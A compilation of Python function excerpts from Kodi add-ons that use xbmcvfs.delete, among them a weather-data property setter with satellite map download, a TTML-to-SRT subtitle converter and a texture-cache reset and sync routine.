xbmcvfs.delete(temp_copy) except: log('Deleting temp_copy failed. Don\'t worry, it might not exist.' ) self.progress(kill=True)
def DeleteCookie(self, Domain): Name = '/'.join([self.PathCache, 'cookie_%s.txt']) % (Domain) xbmcvfs.delete(Name)
def remove(filename): if isdir(filename): return rmtree(filename) return xbmcvfs.delete(filename)
def properties(data,loc): # standard properties weathercode = WEATHER_CODES[data['current_observation']['icon_url'][31:-4]] location = __addon__.getSetting('Location%s' % sys.argv[1]) if (location == '') and (sys.argv[1] != '1'): location = __addon__.getSetting('Location1') set_property('Current.Location' , location) set_property('Current.Condition' , data['current_observation']['weather']) set_property('Current.Temperature' , str(data['current_observation']['temp_c'])) set_property('Current.Wind' , str(data['current_observation']['wind_kph'])) set_property('Current.WindDirection' , data['current_observation']['wind_dir']) set_property('Current.Humidity' , data['current_observation']['relative_humidity'].rstrip('%')) set_property('Current.FeelsLike' , data['current_observation']['feelslike_c']) set_property('Current.UVIndex' , data['current_observation']['UV']) set_property('Current.DewPoint' , str(data['current_observation']['dewpoint_c'])) set_property('Current.OutlookIcon' , '%s.png' % weathercode) set_property('Current.FanartCode' , weathercode) for count, item in enumerate(data['forecast']['simpleforecast']['forecastday']): weathercode = WEATHER_CODES[item['icon_url'][31:-4]] set_property('Day%i.Title' % count, item['date']['weekday']) set_property('Day%i.HighTemp' % count, str(item['high']['celsius'])) set_property('Day%i.LowTemp' % count, str(item['low']['celsius'])) set_property('Day%i.Outlook' % count, item['conditions']) set_property('Day%i.OutlookIcon' % count, '%s.png' % weathercode) set_property('Day%i.FanartCode' % count, weathercode) if count == MAXDAYS: break # forecast properties set_property('Forecast.IsFetched' , 'true') set_property('Forecast.City' , data['current_observation']['display_location']['city']) set_property('Forecast.State' , data['current_observation']['display_location']['state_name']) set_property('Forecast.Country' , data['current_observation']['display_location']['country']) update = time.localtime(float(data['current_observation']['observation_epoch'])) if DATEFORMAT[1] == 'm': localdate = WEEKDAY[update[6]] + ' ' + MONTH[update[1]] + ' ' + str(update[2]) + ', ' + str(update[0]) else: localdate = WEEKDAY[update[6]] + ' ' + str(update[2]) + ' ' + MONTH[update[1]] + ' ' + str(update[0]) if TIMEFORMAT != '/': localtime = time.strftime('%I:%M%p', update) else: localtime = time.strftime('%H:%M', update) set_property('Forecast.Updated' , localdate + ' - ' + localtime) # current properties set_property('Current.IsFetched' , 'true') set_property('Current.WindDegree' , str(data['current_observation']['wind_degrees']) + u'°') set_property('Current.SolarRadiation' , str(data['current_observation']['solarradiation'])) if 'F' in TEMPUNIT: set_property('Current.Pressure' , data['current_observation']['pressure_in'] + ' inHg') set_property('Current.Precipitation' , data['current_observation']['precip_1hr_in'] + ' in') set_property('Current.HeatIndex' , str(data['current_observation']['heat_index_f']) + TEMPUNIT) set_property('Current.WindChill' , str(data['current_observation']['windchill_f']) + TEMPUNIT) else: set_property('Current.Pressure' , data['current_observation']['pressure_mb'] + ' mb') set_property('Current.Precipitation' , data['current_observation']['precip_1hr_metric'] + ' mm') set_property('Current.HeatIndex' , str(data['current_observation']['heat_index_c']) + TEMPUNIT) set_property('Current.WindChill' , str(data['current_observation']['windchill_c']) + TEMPUNIT) if SPEEDUNIT == 'mph': set_property('Current.Visibility' , data['current_observation']['visibility_mi'] + ' mi') set_property('Current.WindGust' , str(data['current_observation']['wind_gust_mph']) + ' ' + SPEEDUNIT) elif SPEEDUNIT == 'Beaufort': set_property('Current.Visibility' , data['current_observation']['visibility_km'] + ' km') set_property('Current.WindGust' , KPHTOBFT(data['current_observation']['wind_gust_kph'])) else: set_property('Current.Visibility' , data['current_observation']['visibility_km'] + ' km') set_property('Current.WindGust' , str(data['current_observation']['wind_gust_kph']) + ' ' + SPEEDUNIT) # today properties set_property('Today.IsFetched' , 'true') if TIMEFORMAT != '/': AM = unicode(TIMEFORMAT.split('/')[0],encoding='utf-8') PM = unicode(TIMEFORMAT.split('/')[1],encoding='utf-8') hour = int(data['moon_phase']['sunrise']['hour']) % 24 isam = (hour >= 0) and (hour < 12) if isam: hour = ('12' if (hour == 0) else '%02d' % (hour)) set_property('Today.Sunrise' , hour.lstrip('0') + ':' + data['moon_phase']['sunrise']['minute'] + ' ' + AM) else: hour = ('12' if (hour == 12) else '%02d' % (hour-12)) set_property('Today.Sunrise' , hour.lstrip('0') + ':' + data['moon_phase']['sunrise']['minute'] + ' ' + PM) hour = int(data['moon_phase']['sunset']['hour']) % 24 isam = (hour >= 0) and (hour < 12) if isam: hour = ('12' if (hour == 0) else '%02d' % (hour)) set_property('Today.Sunset' , hour.lstrip('0') + ':' + data['moon_phase']['sunset']['minute'] + ' ' + AM) else: hour = ('12' if (hour == 12) else '%02d' % (hour-12)) set_property('Today.Sunset' , hour.lstrip('0') + ':' + data['moon_phase']['sunset']['minute'] + ' ' + PM) else: set_property('Today.Sunrise' , data['moon_phase']['sunrise']['hour'] + ':' + data['moon_phase']['sunrise']['minute']) set_property('Today.Sunset' , data['moon_phase']['sunset']['hour'] + ':' + data['moon_phase']['sunset']['minute']) set_property('Today.moonphase' , MOONPHASE(int(data['moon_phase']['ageOfMoon']), int(data['moon_phase']['percentIlluminated']))) if 'F' in TEMPUNIT: set_property('Today.AvgHighTemperature' , data['almanac']['temp_high']['normal']['F'] + TEMPUNIT) set_property('Today.AvgLowTemperature' , data['almanac']['temp_low']['normal']['F'] + TEMPUNIT) try: set_property('Today.RecordHighTemperature' , data['almanac']['temp_high']['record']['F'] + TEMPUNIT) set_property('Today.RecordLowTemperature' , data['almanac']['temp_low']['record']['F'] + TEMPUNIT) except: set_property('Today.RecordHighTemperature' , '') set_property('Today.RecordLowTemperature' , '') else: set_property('Today.AvgHighTemperature' , data['almanac']['temp_high']['normal']['C'] + TEMPUNIT) set_property('Today.AvgLowTemperature' , data['almanac']['temp_low']['normal']['C'] + TEMPUNIT) try: set_property('Today.RecordHighTemperature' , data['almanac']['temp_high']['record']['C'] + TEMPUNIT) set_property('Today.RecordLowTemperature' , data['almanac']['temp_low']['record']['C'] + TEMPUNIT) except: set_property('Today.RecordHighTemperature' , '') set_property('Today.RecordLowTemperature' , '') try: set_property('Today.RecordHighYear' , data['almanac']['temp_high']['recordyear']) set_property('Today.RecordLowYear' , data['almanac']['temp_low']['recordyear']) except: set_property('Today.RecordHighYear' , '') set_property('Today.RecordLowYear' , '') # daily properties set_property('Daily.IsFetched', 'true') for count, item in enumerate(data['forecast']['simpleforecast']['forecastday']): weathercode = WEATHER_CODES[item['icon_url'][31:-4]] set_property('Daily.%i.LongDay' % (count+1), item['date']['weekday']) set_property('Daily.%i.ShortDay' % (count+1), item['date']['weekday_short']) if DATEFORMAT[1] == 'm': set_property('Daily.%i.LongDate' % (count+1), item['date']['monthname'] + ' ' + str(item['date']['day'])) set_property('Daily.%i.ShortDate' % (count+1), MONTH[item['date']['month']] + ' ' + str(item['date']['day'])) else: set_property('Daily.%i.LongDate' % (count+1), str(item['date']['day']) + ' ' + item['date']['monthname']) set_property('Daily.%i.ShortDate' % (count+1), str(item['date']['day']) + ' ' + MONTH[item['date']['month']]) set_property('Daily.%i.Outlook' % (count+1), item['conditions']) set_property('Daily.%i.OutlookIcon' % (count+1), WEATHER_ICON % weathercode) set_property('Daily.%i.FanartCode' % (count+1), weathercode) if SPEEDUNIT == 'mph': set_property('Daily.%i.WindSpeed' % (count+1), str(item['avewind']['mph']) + ' ' + SPEEDUNIT) set_property('Daily.%i.MaxWind' % (count+1), str(item['maxwind']['mph']) + ' ' + SPEEDUNIT) elif SPEEDUNIT == 'Beaufort': set_property('Daily.%i.WindSpeed' % (count+1), KPHTOBFT(item['avewind']['kph'])) set_property('Daily.%i.MaxWind' % (count+1), KPHTOBFT(item['maxwind']['kph'])) else: set_property('Daily.%i.WindSpeed' % (count+1), str(item['avewind']['kph']) + ' ' + SPEEDUNIT) set_property('Daily.%i.MaxWind' % (count+1), str(item['maxwind']['kph']) + ' ' + SPEEDUNIT) set_property('Daily.%i.WindDirection' % (count+1), item['avewind']['dir']) set_property('Daily.%i.ShortWindDirection' % (count+1), item['avewind']['dir']) set_property('Daily.%i.WindDegree' % (count+1), str(item['avewind']['degrees']) + u'°') set_property('Daily.%i.Humidity' % (count+1), str(item['avehumidity']) + '%') set_property('Daily.%i.MinHumidity' % (count+1), str(item['minhumidity']) + '%') set_property('Daily.%i.MaxHumidity' % (count+1), str(item['maxhumidity']) + '%') if 'F' in TEMPUNIT: set_property('Daily.%i.HighTemperature' % (count+1), str(item['high']['fahrenheit']) + TEMPUNIT) set_property('Daily.%i.LowTemperature' % (count+1), str(item['low']['fahrenheit']) + TEMPUNIT) set_property('Daily.%i.LongOutlookDay' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count]['fcttext']) set_property('Daily.%i.LongOutlookNight' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count+1]['fcttext']) set_property('Daily.%i.Precipitation' % (count+1), str(item['qpf_day']['in']) + ' in') set_property('Daily.%i.Snow' % (count+1), str(item['snow_day']['in']) + ' in') else: set_property('Daily.%i.HighTemperature' % (count+1), str(item['high']['celsius']) + TEMPUNIT) set_property('Daily.%i.LowTemperature' % (count+1), str(item['low']['celsius']) + TEMPUNIT) set_property('Daily.%i.LongOutlookDay' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count]['fcttext_metric']) set_property('Daily.%i.LongOutlookNight' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count+1]['fcttext_metric']) set_property('Daily.%i.Precipitation' % (count+1), str(item['qpf_day']['mm']) + ' mm') set_property('Daily.%i.Snow' % (count+1), str(item['snow_day']['cm']) + ' mm') set_property('Daily.%i.ChancePrecipitation' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count]['pop'] + '%') # weekend properties set_property('Weekend.IsFetched', 'true') if __addon__.getSetting('Weekend') == '2': weekend = (3,4,5) elif __addon__.getSetting('Weekend') == '1': weekend = (4,5,6) else: weekend = (5,6,7) count = 0 for item in data['forecast']['simpleforecast']['forecastday']: if date(item['date']['year'], item['date']['month'], item['date']['day']).isoweekday() in weekend: weathercode = WEATHER_CODES[item['icon_url'][31:-4]] set_property('Weekend.%i.LongDay' % (count+1), item['date']['weekday']) set_property('Weekend.%i.ShortDay' % (count+1), item['date']['weekday_short']) if DATEFORMAT[1] == 'm': set_property('Weekend.%i.LongDate' % (count+1), item['date']['monthname'] + ' ' + str(item['date']['day'])) set_property('Weekend.%i.ShortDate' % (count+1), MONTH[item['date']['month']] + ' ' + str(item['date']['day'])) else: set_property('Weekend.%i.LongDate' % (count+1), str(item['date']['day']) + ' ' + item['date']['monthname']) set_property('Weekend.%i.ShortDate' % (count+1), str(item['date']['day']) + ' ' + MONTH[item['date']['month']]) set_property('Weekend.%i.Outlook' % (count+1), item['conditions']) set_property('Weekend.%i.OutlookIcon' % (count+1), WEATHER_ICON % weathercode) set_property('Weekend.%i.FanartCode' % (count+1), weathercode) if SPEEDUNIT == 'mph': set_property('Weekend.%i.WindSpeed' % (count+1), str(item['avewind']['mph']) + ' ' + SPEEDUNIT) set_property('Weekend.%i.MaxWind' % (count+1), str(item['maxwind']['mph']) + ' ' + SPEEDUNIT) elif SPEEDUNIT == 'Beaufort': set_property('Weekend.%i.WindSpeed' % (count+1), KPHTOBFT(item['avewind']['kph'])) set_property('Weekend.%i.MaxWind' % (count+1), KPHTOBFT(item['maxwind']['kph'])) else: set_property('Weekend.%i.WindSpeed' % (count+1), str(item['avewind']['kph']) + ' ' + SPEEDUNIT) set_property('Weekend.%i.MaxWind' % (count+1), str(item['maxwind']['kph']) + ' ' + SPEEDUNIT) set_property('Weekend.%i.WindDirection' % (count+1), item['avewind']['dir']) set_property('Weekend.%i.ShortWindDirection' % (count+1), item['avewind']['dir']) set_property('Weekend.%i.WindDegree' % (count+1), str(item['avewind']['degrees']) + u'°') set_property('Weekend.%i.Humidity' % (count+1), str(item['avehumidity']) + '%') set_property('Weekend.%i.MinHumidity' % (count+1), str(item['minhumidity']) + '%') set_property('Weekend.%i.MaxHumidity' % (count+1), str(item['maxhumidity']) + '%') set_property('Weekend.%i.ChancePrecipitation' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count]['pop'] + '%') if 'F' in TEMPUNIT: set_property('Weekend.%i.HighTemperature' % (count+1), str(item['high']['fahrenheit']) + TEMPUNIT) set_property('Weekend.%i.LowTemperature' % (count+1), str(item['low']['fahrenheit']) + TEMPUNIT) set_property('Weekend.%i.Precipitation' % (count+1), str(item['qpf_day']['in']) + ' in') set_property('Weekend.%i.Snow' % (count+1), str(item['snow_day']['in']) + ' in') set_property('Weekend.%i.LongOutlookDay' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count]['fcttext']) set_property('Weekend.%i.LongOutlookNight' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count+1]['fcttext']) else: set_property('Weekend.%i.HighTemperature' % (count+1), str(item['high']['celsius']) + TEMPUNIT) set_property('Weekend.%i.LowTemperature' % (count+1), str(item['low']['celsius']) + TEMPUNIT) set_property('Weekend.%i.Precipitation' % (count+1), str(item['qpf_day']['mm']) + ' mm') set_property('Weekend.%i.Snow' % (count+1), str(item['snow_day']['cm']) + ' mm') if data['current_observation']['display_location']['country'] == 'UK': # for the brits dfcast_e = data['forecast']['txt_forecast']['forecastday'][2*count]['fcttext'].split('.') dfcast_m = data['forecast']['txt_forecast']['forecastday'][2*count]['fcttext_metric'].split('.') nfcast_e = data['forecast']['txt_forecast']['forecastday'][2*count+1]['fcttext'].split('.') nfcast_m = data['forecast']['txt_forecast']['forecastday'][2*count+1]['fcttext_metric'].split('.') for field in dfcast_e: if field.endswith('mph'): # find windspeed in mph wind = field break for field in dfcast_m: if field.endswith('km/h'): # find windspeed in km/h dfcast_m[dfcast_m.index(field)] = wind # replace windspeed in km/h with windspeed in mph break for field in nfcast_e: if field.endswith('mph'): # find windspeed in mph wind = field break for field in nfcast_m: if field.endswith('km/h'): # find windspeed in km/h nfcast_m[nfcast_m.index(field)] = wind # replace windspeed in km/h with windspeed in mph break set_property('Weekend.%i.LongOutlookDay' % (count+1), '. '.join(dfcast_m)) set_property('Weekend.%i.LongOutlookNight' % (count+1), '. '.join(nfcast_m)) else: set_property('Weekend.%i.LongOutlookDay' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count]['fcttext_metric']) set_property('Weekend.%i.LongOutlookNight' % (count+1), data['forecast']['txt_forecast']['forecastday'][2*count+1]['fcttext_metric']) count += 1 if count == 3: break # 36 hour properties set_property('36Hour.IsFetched', 'true') for count, item in enumerate(data['forecast']['txt_forecast']['forecastday']): weathercode = WEATHER_CODES[item['icon_url'][31:-4]] if 'F' in TEMPUNIT: try: fcast = item['fcttext'].split('.') for line in fcast: if line.endswith('F'): set_property('36Hour.%i.TemperatureHeading' % (count+1), line.rsplit(' ',1)[0]) set_property('36Hour.%i.Temperature' % (count+1), line.rsplit(' ',1)[1].rstrip('F').strip() + TEMPUNIT) break except: set_property('36Hour.%i.TemperatureHeading' % (count+1), '') set_property('36Hour.%i.Temperature' % (count+1), '') set_property('36Hour.%i.Forecast' % (count+1), item['fcttext']) else: try: fcast = item['fcttext_metric'].split('.') for line in fcast: if line.endswith('C'): set_property('36Hour.%i.TemperatureHeading' % (count+1), line.rsplit(' ',1)[0]) set_property('36Hour.%i.Temperature' % (count+1), line.rsplit(' ',1)[1].rstrip('C').strip() + TEMPUNIT) break except: set_property('36Hour.%i.TemperatureHeading' % (count+1), '') set_property('36Hour.%i.Temperature' % (count+1), '') if data['current_observation']['display_location']['country'] == 'UK': # for the brits fcast_e = item['fcttext'].split('.') for field in fcast_e: if field.endswith('mph'): # find windspeed in mph wind = field break for field in fcast: if field.endswith('km/h'): # find windspeed in km/h fcast[fcast.index(field)] = wind # replace windspeed in km/h with windspeed in mph break set_property('36Hour.%i.Forecast' % (count+1), '. '.join(fcast)) else: set_property('36Hour.%i.Forecast' % (count+1), item['fcttext_metric']) set_property('36Hour.%i.Heading' % (count+1), item['title']) set_property('36Hour.%i.ChancePrecipitation' % (count+1), item['pop'] + '%') set_property('36Hour.%i.OutlookIcon' % (count+1), WEATHER_ICON % weathercode) set_property('36Hour.%i.FanartCode' % (count+1), weathercode) if count == 2: break # hourly properties set_property('Hourly.IsFetched', 'true') for count, item in enumerate(data['hourly_forecast']): weathercode = WEATHER_CODES[item['icon_url'][31:-4]] if TIMEFORMAT != '/': set_property('Hourly.%i.Time' % (count+1), item['FCTTIME']['civil']) else: set_property('Hourly.%i.Time' % (count+1), item['FCTTIME']['hour_padded'] + ':' + item['FCTTIME']['min']) if DATEFORMAT[1] == 'm': set_property('Hourly.%i.ShortDate' % (count+1), item['FCTTIME']['month_name_abbrev'] + ' ' + item['FCTTIME']['mday_padded']) set_property('Hourly.%i.LongDate' % (count+1), item['FCTTIME']['month_name'] + ' ' + item['FCTTIME']['mday_padded']) else: set_property('Hourly.%i.ShortDate' % (count+1), item['FCTTIME']['mday_padded'] + ' ' + item['FCTTIME']['month_name_abbrev']) set_property('Hourly.%i.LongDate' % (count+1), item['FCTTIME']['mday_padded'] + ' ' + item['FCTTIME']['month_name']) if 'F' in TEMPUNIT: set_property('Hourly.%i.Temperature' % (count+1), item['temp']['english'] + TEMPUNIT) set_property('Hourly.%i.DewPoint' % (count+1), item['dewpoint']['english'] + TEMPUNIT) set_property('Hourly.%i.FeelsLike' % (count+1), item['feelslike']['english'] + TEMPUNIT) set_property('Hourly.%i.Precipitation' % (count+1), item['qpf']['english'] + ' in') set_property('Hourly.%i.Snow' % (count+1), item['snow']['english'] + ' in') set_property('Hourly.%i.HeatIndex' % (count+1), item['heatindex']['english'] + TEMPUNIT) set_property('Hourly.%i.WindChill' % (count+1), item['windchill']['english'] + TEMPUNIT) set_property('Hourly.%i.Mslp' % (count+1), item['mslp']['english'] + ' inHg') else: set_property('Hourly.%i.Temperature' % (count+1), item['temp']['metric'] + TEMPUNIT) set_property('Hourly.%i.DewPoint' % (count+1), item['dewpoint']['metric'] + TEMPUNIT) set_property('Hourly.%i.FeelsLike' % (count+1), item['feelslike']['metric'] + TEMPUNIT) set_property('Hourly.%i.Precipitation' % (count+1), item['qpf']['metric'] + ' mm') set_property('Hourly.%i.Snow' % (count+1), item['snow']['metric'] + ' mm') set_property('Hourly.%i.HeatIndex' % (count+1), item['heatindex']['metric'] + TEMPUNIT) set_property('Hourly.%i.WindChill' % (count+1), item['windchill']['metric'] + TEMPUNIT) set_property('Hourly.%i.Mslp' % (count+1), item['mslp']['metric'] + ' inHg') if SPEEDUNIT == 'mph': set_property('Hourly.%i.WindSpeed' % (count+1), item['wspd']['english'] + ' ' + SPEEDUNIT) elif SPEEDUNIT == 'Beaufort': set_property('Hourly.%i.WindSpeed' % (count+1), KPHTOBFT(int(item['wspd']['metric']))) else: set_property('Hourly.%i.WindSpeed' % (count+1), item['wspd']['metric'] + ' ' + SPEEDUNIT) set_property('Hourly.%i.WindDirection' % (count+1), item['wdir']['dir']) set_property('Hourly.%i.ShortWindDirection' % (count+1), item['wdir']['dir']) set_property('Hourly.%i.WindDegree' % (count+1), item['wdir']['degrees'] + u'°') set_property('Hourly.%i.Humidity' % (count+1), item['humidity'] + '%') set_property('Hourly.%i.UVIndex' % (count+1), item['uvi']) set_property('Hourly.%i.ChancePrecipitation' % (count+1), item['pop'] + '%') set_property('Hourly.%i.Outlook' % (count+1), item['condition']) set_property('Hourly.%i.OutlookIcon' % (count+1), WEATHER_ICON % weathercode) set_property('Hourly.%i.FanartCode' % (count+1), weathercode) if count == 35: # workaround: wunderground provides a 10day hourly forecast break # alert properties set_property('Alerts.IsFetched', 'true') if str(data['alerts']) != '[]': rss = '' alerts = '' for count, item in enumerate(data['alerts']): set_property('Alerts.%i.Description' % (count+1), item['description']) set_property('Alerts.%i.Message' % (count+1), item['message']) set_property('Alerts.%i.StartDate' % (count+1), item['date']) set_property('Alerts.%i.EndDate' % (count+1), item['expires']) set_property('Alerts.%i.Significance' % (count+1), SEVERITY[item['significance']]) rss = rss + item['description'] + ' - ' alerts = alerts + item['message'] set_property('Alerts.RSS' , rss.rstrip(' - ')) set_property('Alerts' , alerts) set_property('Alerts.Count' , str(count+1)) else: set_property('Alerts.RSS' , '') set_property('Alerts' , '') set_property('Alerts.Count' , '0') # map properties set_property('Map.IsFetched', 'true') filelist = [] locid = base64.b16encode(loc) addondir = xbmc.translatePath(os.path.join(__cwd__, 'resources', 'logo')) mapdir = xbmc.translatePath('special://profile/addon_data/%s/map' % __addonid__) set_property('MapPath', addondir) if not xbmcvfs.exists(mapdir): xbmcvfs.mkdir(mapdir) json_query = xbmc.executeJSONRPC('{ "jsonrpc" : "2.0" , "method" : "Files.GetDirectory" , "params" : { "directory" : "%s" , "sort" : { "method" : "file" } } , "id" : 1 }' % mapdir.replace('\\', '\\\\')) json_query = unicode(json_query, 'utf-8', errors='ignore') json_response = simplejson.loads(json_query) if (json_response['result'] != None) and (json_response['result'].has_key('files')) and (json_response['result']['files'] != None): for item in json_response['result']['files']: if item['filetype'] == 'file': filelist.append(item['file']) animate = __addon__.getSetting('Animate') for item in filelist: if animate == 'true': if (time.time() - os.path.getmtime(item) > 14400) or (not locid in item): xbmcvfs.delete(item) else: xbmcvfs.delete(item) zoom = __addon__.getSetting('Zoom') if zoom == '10': # default setting does not return decimals, changed setting will zoom = '10.0' url = data['satellite']['image_url_ir4'].replace('width=300&height=300','width=640&height=360').replace('radius=75','radius=%i' % int(1000/int(zoom.rstrip('0').rstrip('.,')))) log('map url: %s' % url) req = urllib2.urlopen(url) response = req.read() req.close() timestamp = time.strftime('%Y%m%d%H%M%S') mapfile = xbmc.translatePath('special://profile/addon_data/%s/map/%s-%s.png' % (__addonid__,locid,timestamp)) tmpmap = open(mapfile, 'wb') tmpmap.write(response) tmpmap.close() log('satellite image downloaded') set_property('MapPath', mapdir)
def _newSubtitle(url): _createProfilePath() if xbmcvfs.exists(subFile): xbmcvfs.delete(subFile) #content = utils.getUrl(url) try: content = utils.getUrl(url) except: content = "" content = content.replace('\0', '').replace('<tt:', '<').replace('</tt:', '</') if content: #utils.log(str(content)) d = _stylesSetup( re.compile('<styling>(.+?)</styling>', re.DOTALL).findall(content)[0]) div = re.compile('<div.+?>(.+?)</div>', re.DOTALL).findall(content)[0] p = re.compile('<(.+?)</p>', re.DOTALL).findall(div) i = 1 buffer = '' for part in p: if '<span' in part: part = part.replace('begin="1', 'begin="0').replace( 'end="1', 'end="0').replace('\n', '').replace('<br/>', '\n') begin = re.compile('begin="(.+?)"').findall(part)[0] begin = begin.replace(".", ",")[:-1] end = re.compile('end="(.+?)"').findall(part)[0] end = end.replace(".", ",")[:-1] s = part.split('>')[0] part = part.replace(s + '>', '') part = part.replace('<br />', '\n') if 'style=' in s: style = re.compile('style="(.+?)"').findall(s)[0] if d[style]: part = '<font color="' + d[ style] + '">' + part + '</font>' match = re.compile('<(.+?)>').findall(part) for entry in match: if entry.startswith('span'): if 'style' in entry: style = re.compile('style="(.+?)"').findall( entry)[0] if isinstance(d.get(style, None), str): part = part.replace( '<' + entry + '>', '<font color="' + d[style] + '">') else: part = part.replace('<' + entry + '>', '') else: part = part.replace('<' + entry + '>', '') elif entry.startswith('/span'): part = part.replace('</span>', '</font>') else: part = part.replace('<' + entry + '>', '') # Translate html entities in subtitles into readable characters. part = _cleanTitle(part, False) buffer += str(i) + '\n' buffer += begin + " --> " + end + "\n" buffer += part + '\n\n' i += 1 buffer = buffer.replace(' ', '').replace(' ', '').replace( ' ', ' ').replace(' \n', '\n') utils.f_write(subFile, buffer) utils.log(subFile) return subFile
def fullTextureCacheSync(self): """ This method will sync all Kodi artwork to textures13.db and cache them locally. This takes diskspace! """ if not xbmcgui.Dialog().yesno("Image Texture Cache", lang(39250)): return log.info("Doing Image Cache Sync") # ask to rest all existing or not if xbmcgui.Dialog().yesno("Image Texture Cache", lang(39251), ""): log.info("Resetting all cache data first") # Remove all existing textures first path = tryDecode(xbmc.translatePath("special://thumbnails/")) if IfExists(path): allDirs, allFiles = xbmcvfs.listdir(path) for dir in allDirs: allDirs, allFiles = xbmcvfs.listdir(path + dir) for file in allFiles: if os.path.supports_unicode_filenames: xbmcvfs.delete( os.path.join(path + tryDecode(dir), tryDecode(file))) else: xbmcvfs.delete( os.path.join(tryEncode(path) + dir, file)) # remove all existing data from texture DB connection = kodiSQL('texture') cursor = connection.cursor() cursor.execute( 'SELECT tbl_name FROM sqlite_master WHERE type="table"') rows = cursor.fetchall() for row in rows: tableName = row[0] if tableName != "version": cursor.execute("DELETE FROM " + tableName) connection.commit() connection.close() # Cache all entries in video DB connection = kodiSQL('video') cursor = connection.cursor() # dont include actors cursor.execute("SELECT url FROM art WHERE media_type != 'actor'") result = cursor.fetchall() total = len(result) log.info("Image cache sync about to process %s video images" % total) connection.close() for url in result: self.cacheTexture(url[0]) # Cache all entries in music DB connection = kodiSQL('music') cursor = connection.cursor() cursor.execute("SELECT url FROM art") result = cursor.fetchall() total = len(result) log.info("Image cache sync about to process %s music images" % total) connection.close() for url in result: self.cacheTexture(url[0])